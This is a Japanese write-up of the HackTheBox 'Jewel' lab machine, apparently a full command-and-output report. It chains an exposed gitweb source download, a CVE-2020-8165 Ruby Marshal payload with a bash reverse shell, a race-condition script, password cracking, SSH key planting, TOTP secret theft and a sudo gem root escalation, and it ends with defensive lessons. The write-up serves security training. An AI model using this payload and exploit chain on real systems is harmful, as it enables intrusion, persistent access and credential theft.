HackTheBox: Jewel — 全実行コマンド・実行結果レポート
Nmap スキャン
22/8000(gitweb)/8080(BL0G!)
→
22/8000(gitweb)/8080(BL0G!)
gitweb .git スナップショット
wget、users_controller.rb 解析
→
wget、users_controller.rb 解析
CVE-2020-8165 Marshal payload
activesupport 5.2.2.1 pin
→
activesupport 5.2.2.1 pin
サインアップ→ログイン→PATCH
並行GETレースでcache.delete回避
→
並行GETレースでcache.delete回避
bill シェル
user.txt ✓
→
user.txt ✓
SSH公開鍵設置
sshdはpasswordauth無効
→
sshdはpasswordauth無効
.google_authenticator
TOTP secret 生成
→
TOTP secret 生成
GTFOBins: sudo gem open
root.txt ✓
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン・バージョン検出
BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.70.239 nmap -sV -sC -p 22,8000,8080 10.129.70.239
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) 8000/tcp open http Apache httpd 2.4.38 | http-title: jewel.htb Git |_Requested resource was http://jewel.htb:8000/gitweb/ |_http-generator: gitweb/2.20.1 git/2.20.1 8080/tcp open http nginx 1.14.2 (Phusion Passenger 6.0.6) |_http-title: BL0G!
🚨
重要発見: ポート8000にgitwebが公開されており、後述の
`.git` スナップショット丸ごと取得が可能。ポート8080は Phusion Passenger 上で動く
Rails製Webアプリ(“BL0G!”)。
/etc/hosts へ jewel.htb を追加
BASH
echo "10.129.70.239 jewel.htb" | sudo tee -a /etc/hosts
PHASE 2
gitweb からソース取得・解析
.git スナップショットの取得
BASH
wget "http://jewel.htb:8000/gitweb/?p=.git;a=snapshot;h=HEAD;sf=tgz" -O blog.tgz tar xzf blog.tgz
⚠️
ハマりどころ: このリポジトリは約4.2MBあるが、
curl -s --max-time N
で取得するとエラーを一切出さずに数百KBで無言で打ち切られることがある
(tar展開時に “unexpected EOF” で初めて発覚する)。wgetを使うと確実にフルサイズを
取得できた。
脆弱なコード: UsersController#update
RESULT (app/controllers/users_controller.rb)
before_action :require_user, only: [:update]
...
def update
@user = User.find(params[:id])
if @user && @user == current_user
cache = ActiveSupport::Cache::RedisCacheStore.new(url: "redis://127.0.0.1:6379/0")
cache.delete("username_#{session[:user_id]}")
@current_username = cache.fetch("username_#{session[:user_id]}", raw: true) {user_params[:username]}
if @user.update(user_params)
redirect_to articles_path
else
cache.delete("username_#{session[:user_id]}")
render 'edit'
end
end
end
🚨
raw: true での cache.fetch は activesupport 5.2.2.1 の
既知の欠陥 CVE-2020-8165 の対象で、内部的に Marshal.load される。
ただし update は 自分自身(current_user)しか対象にできない
(before_action :require_user でログイン必須、かつ @user == current_user チェックあり)。
トリガー箇所: current_username (毎ページ呼ばれる)
RESULT (app/controllers/application_controller.rb)
def current_username
if session[:user_id]
cache = ActiveSupport::Cache::RedisCacheStore.new(url: "redis://127.0.0.1:6379/0")
@current_username = cache.fetch("username_#{session[:user_id]}", raw: true) do
@current_user = current_user
@current_username = @current_user.username
end
else
@current_username = "guest"
end
return @current_username
end
RESULT (app/views/layouts/_navigation.html.erb, 全ページ共通)
<% current_name = current_username %> <li><span class="navbar-text"> [<%= current_name %>]</span></li>
ℹ️
ナビゲーションバー(全ページ共通)が
current_username を呼び、同じ
Redisキー username_<user_id> を raw: true で再度 fetch する。
書き込んだ Marshal 済みバイト列がここで読み戻され、<%= current_name %>
が暗黙に呼ぶ .to_s 相当の呼び出しで RCE が発火する。
罠: User モデルのバリデーションが常に PATCH を弾く
RESULT (app/models/user.rb)
VALID_USER_REGEX = /\A[\w\d]+\z/
validates :username, presence: true, uniqueness: { case_sensitive: false },
length: { minimum: 3, maximum: 25 },
format: { with: VALID_USER_REGEX }
🚨
重大な罠: Marshal ペイロード(約270バイトの生バイナリ)は
maximum: 25 にも [\w\d]+ 形式にも必ず違反する。
@user.update(user_params) は必ず失敗し、else 節の
cache.delete(...) が直後に発火して、書き込んだばかりの悪性キャッシュを
消してしまう。PATCHリクエストを単発で送るだけでは絶対にRCEは発火しない
(この後のPhase4で回避策を実装する)。
PHASE 3
CVE-2020-8165 Marshal ペイロード生成
activesupport 5.2.2.1 を明示指定してインストール
BASH
gem install activesupport -v 5.2.2.1 --no-document
⚠️
モダンな activesupport (7.x等) は
DeprecatedInstanceVariableProxy#initialize
が deprecator: キーワード必須化されており .new(erb, :result)
が失敗する。ターゲットの Gemfile と同じ 5.2.2.1 を明示的に指定する必要がある。
ERB を包んだ DeprecatedInstanceVariableProxy を Marshal.dump
RUBY (payload.rb)
require 'erb'
gem 'activesupport', '5.2.2.1'
require 'active_support'
require 'active_support/core_ext/module/delegation'
require 'active_support/deprecation/proxy_wrappers'
bash_cmd = '/bin/bash -c "bash -i >&/dev/tcp/<KaliのIP>/4444 0>&1"'
code = %q{`#{bash_cmd}`}
erb = ERB.allocate
erb.instance_variable_set :@src, code
erb.instance_variable_set :@filename, '1'
erb.instance_variable_set :@lineno, 1
payload = Marshal.dump(
ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result)
)
STDOUT.binmode
STDOUT.write(payload)
BASH
ruby payload.rb > payload.bin wc -c payload.bin
RESULT
270 payload.bin
ℹ️
DeprecatedInstanceVariableProxy.new(erb, :result) は、任意のメソッド呼び出し
(method_missing)を erb.send(:result) へ転送する古典的な
Rails Marshal RCE ガジェット。ERB#result はテンプレート
(@src、ここではバッククォートによるシェルコマンド実行)を評価するため、
デシリアライズされた瞬間に任意コマンドが実行される。
PHASE 4
サインアップ・ログイン・レース攻撃 & user.txt 取得
サインアップ (POST /users、/signup ではない)
PYTHON
import requests
s = requests.Session()
r = s.get("http://jewel.htb:8080/signup")
token = re.search(r'name="authenticity_token" value="([^"]+)"', r.text).group(1)
s.post("http://jewel.htb:8080/users", data={
"utf8": "✓", "authenticity_token": token,
"user[username]": "pwnjewel", "user[email]": "pwnjewel@htb.local",
"user[password]": "PwnJewel!2021", "commit": "Create User",
})
🚨
ハマりどころ: サインアップフォームの実際の
action 属性は
/users。/signup はGET専用ページで、POST /signup は404
になる(見た目のURLから類推した誤った実装で何度もハマった)。
明示的ログイン (サインアップは自動ログインしない)
PYTHON
r = s.get("http://jewel.htb:8080/login")
token2 = re.search(r'name="authenticity_token" value="([^"]+)"', r.text).group(1)
s.post("http://jewel.htb:8080/login", data={
"utf8": "✓", "authenticity_token": token2,
"session[email]": "pwnjewel@htb.local",
"session[password]": "PwnJewel!2021", "commit": "Log in",
})
# ログイン後のナビゲーション "Profile" リンクから自分の uid を特定
r = s.get("http://jewel.htb:8080/articles")
uid = re.search(r'/users/(\d+)"', r.text).group(1)
⚠️
サインアップ成功後もナビゲーションバーは “Sign up”/”Log in” のままで、
セッションは自動ログインされない。別途
POST /login が必須。
自分の uid はサインアップ/ログインのレスポンス本文には現れず、ログイン後の
ページの “Profile” リンク(/users/<id>")からのみ取得できる。
レースコンディションで cache.delete を出し抜く
PYTHON
import threading, time
stop = threading.Event()
def racer():
while not stop.is_set():
s.get("http://jewel.htb:8080/articles", timeout=3) # current_username を呼ぶページ
threads = [threading.Thread(target=racer, daemon=True) for _ in range(25)]
for t in threads: t.start()
time.sleep(0.2)
s.post(f"http://jewel.htb:8080/users/{uid}", data={
"utf8": "✓", "_method": "patch", "authenticity_token": edit_token,
"user[username]": payload, # 270バイトの生Marshalバイト列
"commit": "Update User",
})
time.sleep(10)
stop.set()
✅
動作原理: PATCHリクエストが処理される中で、まず悪性ペイロードが
raw: true でRedisへ書き込まれ(この時点でMarshal.loadされうる状態になる)、
その直後に User モデルのバリデーション失敗により
cache.delete が呼ばれてキャッシュが消される。この書き込み〜削除までの
ごく短い窓を、同一セッションで発行し続ける大量の並行 GET /articles
(current_username を経由してキャッシュを再読込するページ)のどれかが
捉えれば、Marshal.load → ERB#result 実行 → リバースシェル、という流れになる。
実機検証では2回連続で成功した再現性の高い手法。
リバースシェル接続確認 & user.txt
BASH
# 別ターミナルで事前にリスナーを起動しておく nc -lnvp 4444
RESULT
listening on [any] 4444 ... connect to [10.10.15.200] from (UNKNOWN) [10.129.70.239] 39776 bash: cannot set terminal process group (981): Inappropriate ioctl for device bash: no job control in this shell bill@jewel:~/blog$ id; hostname; cat /home/bill/user.txt uid=1000(bill) gid=1000(bill) groups=1000(bill) jewel.htb 0e4afa7a16a1fed1f53beea3ef9bf337
user.txt — bill@jewel
0e4afa7a16a1fed1f53beea3ef9bf337
PHASE 5
SSH公開鍵の設置 & TOTP秘密鍵の入手
bcrypt ハッシュのクラック (SQL バックアップから)
BASH
bill@jewel:~/blog$ cat /var/backups/dump_*.sql # → jennifer / bill の bcrypt ハッシュを回収 # Kali側でクラック john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt john --show hash.txt
RESULT
bill:spongebob
1 password hash cracked, 1 left
ℹ️
このパスワードは SSHログイン用ではなく、bill のローカル(sudo)パスワードである点に注意
(次項で判明)。
罠: sshd はパスワード認証を受け付けない
BASH
sshpass -p spongebob ssh bill@10.129.70.239 id
RESULT
bill@10.129.70.239: Permission denied (publickey).
🚨
重要発見: このターゲットの sshd は
PasswordAuthentication no
(publickeyのみ)。sudo のパスワード(“spongebob”)とは別物で、SSHログイン自体は
鍵認証でしか成立しない。Phase6のsudo対話(PTY必須)を行うには、まず確立済みの
リバースシェル経由で自前のSSH公開鍵を bill の authorized_keys に設置
する必要がある。
自前のSSH鍵を生成し authorized_keys へ設置
BASH
# Kali側で鍵ペア生成 ssh-keygen -t ed25519 -N "" -f jewel_id_ed25519 # リバースシェル経由で公開鍵を追記 bill@jewel:~/blog$ mkdir -p ~/.ssh; chmod 700 ~/.ssh bill@jewel:~/blog$ echo "ssh-ed25519 AAAA... jewel-pentest" >> ~/.ssh/authorized_keys bill@jewel:~/blog$ chmod 600 ~/.ssh/authorized_keys # 以降はこの鍵でSSHログイン可能 ssh -i jewel_id_ed25519 bill@10.129.70.239 id
RESULT
uid=1000(bill) gid=1000(bill) groups=1000(bill)
TOTP secret の入手
BASH
bill@jewel:~$ cat ~/.google_authenticator
RESULT
2UQI3R52WFCLE6JTLDCSJYMJH4
" WINDOW_SIZE 17
" TOTP_AUTH
PYTHON (TOTPコード生成)
import pyotp
print(pyotp.TOTP("2UQI3R52WFCLE6JTLDCSJYMJH4").now())
# → 6桁の検証コード (30秒ごとに変化)
⚠️
base32 secret の長さを16文字と決め打ちしないこと(このマシンでは26文字だった)。
コードは時間ベースで短命なため、
sudo に投入する直前に生成すること。
PHASE 6
GTFOBins (gem) で root コマンド実行 → root.txt
sudo -l の確認
BASH (expect でパスワード+TOTPを自動応答)
ssh -tt -i jewel_id_ed25519 bill@10.129.70.239 $ sudo -l [sudo] password for bill: spongebob Verification code: <TOTPコード>
RESULT
Matching Defaults entries for bill on jewel:
env_reset, mail_badpass, secure_path=..., insults
User bill may run the following commands on jewel:
(ALL : ALL) /usr/bin/gem
ハマりどころ: PTY越しの複雑な引用符コマンドは文字化けする
NOTE
GTFOBinsの定石 (`sudo gem open -e'/bin/sh -c "..."' rdoc`) をそのままexpect越しに 打たせると、以下のような文字化け(文字重複・欠落)が実機で複数回発生した: sudo gem open -e'/bin/sh -c "base64 -d ... -d /tmp/.jwl_b64|base64 --d|/bin/sh"' rdocc → "-d: 1: -d: Syntax error: Unterminated quoted string" 長い行・二重引用符を含む行ほど発生しやすい。回避策: 先に(まだ確実に動く 非対話シェル経由で)root読み取り用のラッパースクリプトをターゲット上へ 設置しておき、sudo越しに打たせるコマンドは空白・引用符を一切含まない 短い1行だけにする。
ラッパースクリプトの事前設置
BASH (リバースシェル、非対話で確実)
bill@jewel:~$ set +H # bashのヒストリ展開(!)を無効化 (shebangの!対策) bill@jewel:~$ echo aWQ7IGNhdCAvcm9vdC9yb290LnR4dCA+IC90bXAvLmp3bF9yb290IDI+L2Rldi9udWxsOyBjaG1vZCA2NDQgL3RtcC8uandsX3Jvb3Q= > /tmp/.jwl_b64 bill@jewel:~$ printf '#!/bin/sh\nbase64 -d /tmp/.jwl_b64 | /bin/sh\n' > /tmp/.jwl_run.sh bill@jewel:~$ chmod +x /tmp/.jwl_run.sh
⚠️
インタラクティブなbashへ
#!/bin/sh をそのままタイプすると、bashの
ヒストリ展開機能が !/bin/sh を履歴参照として解釈しようとして
event not found エラーになり、コマンド全体が失敗する。set +H
で無効化してから行う。
GTFOBins gem で root コマンド実行
BASH (SSH+expect、短い1行のみ)
$ sudo gem open -e/tmp/.jwl_run.sh rdoc [sudo] password for bill: spongebob Verification code: <TOTPコード> $ cat /tmp/.jwl_root
RESULT
uid=0(root) gid=0(root) groups=0(root) 0e107a9ad25f940315562a592e0e6c95
✅
root化成功!
gem open -e<editor> <gemname> は内部的に
system("#{editor} #{gem_dir}") を呼ぶGTFOBins定番の悪用パターン。
-e の値に空白を含めない(スクリプトファイルへの直接パス指定)ことで、
外側のシェルによる引数分割の問題も同時に回避している。
root.txt — root@jewel
0e107a9ad25f940315562a592e0e6c95
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — bill@jewel
0e4afa7a16a1fed1f53beea3ef9bf337
root.txt — root@jewel
0e107a9ad25f940315562a592e0e6c95
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| gitweb 公開 | Apache/gitweb (8000) | ソースコード全漏洩 | Medium | .git スナップショットのダウンロードでアプリ全体のロジックを解析可能に |
| CVE-2020-8165 | Rails/activesupport 5.2.2.1 RedisCacheStore | リモートコード実行(一般ユーザー) | Critical | raw:true な cache.fetch/delete の競合を突く並行GETレースでMarshal RCE発火 |
| GTFOBins (gem) | /usr/bin/gem (sudo許可) | 権限昇格 (root) | High | `sudo gem open -e<script> <gem>` の editor 引数経由で任意コマンド実行 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap | 22/8000(gitweb)/8080(Rails “BL0G!”) |
| 2 | ソース解析 | gitweb .git スナップショット | 脆弱な update アクション、User バリデーション、navigation.html.erb のトリガー箇所 |
| 3 | ペイロード生成 | Ruby + activesupport 5.2.2.1 pin | Marshal 化された DeprecatedInstanceVariableProxy(erb, :result) |
| 4 | レース攻撃 | サインアップ→ログイン→PATCH+並行GET | user.txt 取得(bill シェル) |
| 5 | 権限調査 | bcryptクラック + SSH鍵設置 + TOTP secret入手 | bill:spongebob、SSH公開鍵、TOTP secret |
| 6 | 権限昇格 | GTFOBins gem (事前設置スクリプト経由) | root.txt 取得 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| gitwebが認証なしで .git スナップショットを公開している | gitwebへのアクセスを内部ネットワーク/VPN限定にする。少なくとも snapshot 機能を無効化する。 |
| ActiveSupport::Cache に raw:true で信頼できない入力(ユーザー入力由来)を書き込んでいる | Rails/activesupport を CVE-2020-8165 修正版(5.2.4.3以降/6.0.3.1以降)へ更新する。
raw: true のキャッシュに外部入力を直接書き込まない設計にする。 |
| バリデーション失敗時の cache.delete がむしろ攻撃者に有利な「不安定な短命ウィンドウ」を生んでいる | キャッシュ書き込みとモデルバリデーションの順序を見直し、バリデーション成功後にのみ キャッシュへ書き込む設計にする(fail-secureな順序)。 |
| sudo で /usr/bin/gem を無制限実行可能(GTFOBins対象) | sudoでの gem 実行を許可しない、または gem open サブコマンドを
制限する。可能な限り個別バイナリの sudo 許可自体を避ける。 |

